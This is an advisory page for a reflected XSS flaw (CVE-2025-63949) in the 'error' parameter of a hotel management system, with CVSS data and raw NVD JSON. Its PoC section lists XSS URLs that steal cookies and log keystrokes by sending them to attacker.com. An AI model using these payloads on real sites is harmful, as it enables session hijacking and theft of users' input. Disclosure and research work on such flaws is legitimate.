Security Vulnerability Report
中文
CVE-2025-63949 CVSS 6.1 MEDIUM

CVE-2025-63949

Published: 2025-12-18 21:15:55
Last Modified: 2025-12-31 19:35:47

Description

A Reflected Cross-Site Scripting (XSS) vulnerability in yohanawi Hotel Management System (commit 87e004a) allows a remote attacker to execute arbitrary web script via the 'error' parameter in pages/room.php.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:yohanawi:hotel_management_system:2022-05-22:*:*:*:*:*:*:* - VULNERABLE
yohanawi Hotel Management System (commit 87e004a及之前版本)
具体受影响版本需参考官方发布信息

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-63949 PoC - Reflected XSS in yohanawi Hotel Management System --> <!-- Target: pages/room.php via 'error' parameter --> <!-- This PoC demonstrates the XSS vulnerability by injecting JavaScript --> <!-- Basic XSS PoC --> https://[TARGET]/pages/room.php?error=<script>alert('XSS')</script> <!-- Cookie stealing PoC - More dangerous in real attacks --> https://[TARGET]/pages/room.php?error=<script>fetch('https://attacker.com/log?c='+document.cookie)</script> <!-- Session hijacking PoC --> https://[TARGET]/pages/room.php?error=<img src=x onerror="this.src='https://attacker.com/steal?data='+btoa(document.cookie)"> <!-- Keylogger PoC --> https://[TARGET]/pages/room.php?error=<script>document.onkeypress=function(e){new Image().src='https://attacker.com/log?k='+e.key}</script> <!-- HTML context exploitation --> https://[TARGET]/pages/room.php?error="><script>alert(document.domain)</script><!- <!-- Note: Replace [TARGET] with actual vulnerable server URL The 'error' parameter is reflected without sanitization in the HTML output This allows arbitrary JavaScript execution in victim's browser context -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63949", "sourceIdentifier": "[email protected]", "published": "2025-12-18T21:15:54.870", "lastModified": "2025-12-31T19:35:47.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Reflected Cross-Site Scripting (XSS) vulnerability in yohanawi Hotel Management System (commit 87e004a) allows a remote attacker to execute arbitrary web script via the 'error' parameter in pages/room.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:yohanawi:hotel_management_system:2022-05-22:*:*:*:*:*:*:*", "matchCriteriaId": "C1E882DD-19F1-464E-A023-3CA4D42BD168"}]}]}], "references": [{"url": "https://github.com/solonbarroso/vulnerability-research/blob/main/advisories/Hotel-Management-System/CVE-2025-63949.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/solonbarroso/vulnerability-research/blob/main/advisories/Hotel-Management-System/CVE-pending-XSS.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}